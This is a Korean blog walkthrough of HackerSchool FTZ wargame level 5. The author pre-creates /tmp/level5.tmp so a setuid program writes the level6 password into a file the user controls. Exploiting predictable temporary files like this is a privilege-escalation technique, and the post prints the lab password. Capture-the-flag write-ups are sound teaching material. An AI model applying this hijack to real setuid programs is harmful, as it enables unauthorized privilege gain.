티스토리 뷰
level5를 풀어보겠다.
[level5@ftz level5]$
ls -al를 입력해 무슨 디렉토리와 파일들이 있는지 알아보자.
[level5@ftz level5]$ ls -al
total 80
drwxr-xr-x 4 root level5 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 129 Mar 23 2000 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level5 4096 Feb 24 2002 public_html
drwxrwx--- 2 root level5 4096 Jan 16 2009 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
hint 파일을 열어보면
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
그럼 한 번 /usr/bin/level5을 실행시켜보고 /tmp 디렉토리에 level5.tmp라는 임시파일이 생성되었는지 살펴보자.
[level5@ftz bin]$ /usr/bin/level5
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt 2 root root 4096 Dec 27 19:18 .
drwxr-xr-x 20 root root 4096 Dec 27 19:13 ..
srwxrwxrwx 1 mysql mysql 0 Dec 27 19:13 mysql.sock
...? 임시파일이 없다. 만들고 바로 삭제가 되나 보다. 그럼 /tmp 경로에 미리 level5.tmp라는 파일을 만들어 놓고 덮어 쓰이게 만들겠다.
[level5@ftz tmp]$ cat > level5.tmp
NEVER EVER GIVE UP
[level5@ftz tmp]$ ls -al
total 12
drwxrwxrwt 2 root root 4096 Dec 27 19:28 .
drwxr-xr-x 20 root root 4096 Dec 27 19:13 ..
-rw-rw-r-- 1 level5 level5 19 Dec 27 19:28 level5.tmp
srwxrwxrwx 1 mysql mysql 0 Dec 27 19:13 mysql.sock
그럼 이제 다시 /usr/bin/level5 실행시켜 보고 /tmp 경로에 있는 level5.tmp라는 파일을 확인해 보겠다.
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -al
total 12
drwxrwxrwt 2 root root 4096 Dec 27 19:28 .
drwxr-xr-x 20 root root 4096 Dec 27 19:13 ..
-rw-rw-r-- 1 level5 level5 31 Dec 27 20:01 level5.tmp
srwxrwxrwx 1 mysql mysql 0 Dec 27 19:13 mysql.sock
안 사라지고 파일이 그대로 있다. 확인해보면
[level5@ftz tmp]$ cat level5.tmp
next password : what the hell
패스워드를 얻었다!!
'Pwnable > FTZ level' 카테고리의 다른 글
[hackerschool FTZ] level7 (2) | 2017.01.03 |
---|---|
[hackerschool FTZ] level6 (0) | 2016.12.27 |
[hackerschool FTZ] level4 (0) | 2016.12.26 |
[hackerschool FTZ] level3 (0) | 2016.11.13 |
[hackerschool FTZ] level2 (0) | 2016.11.10 |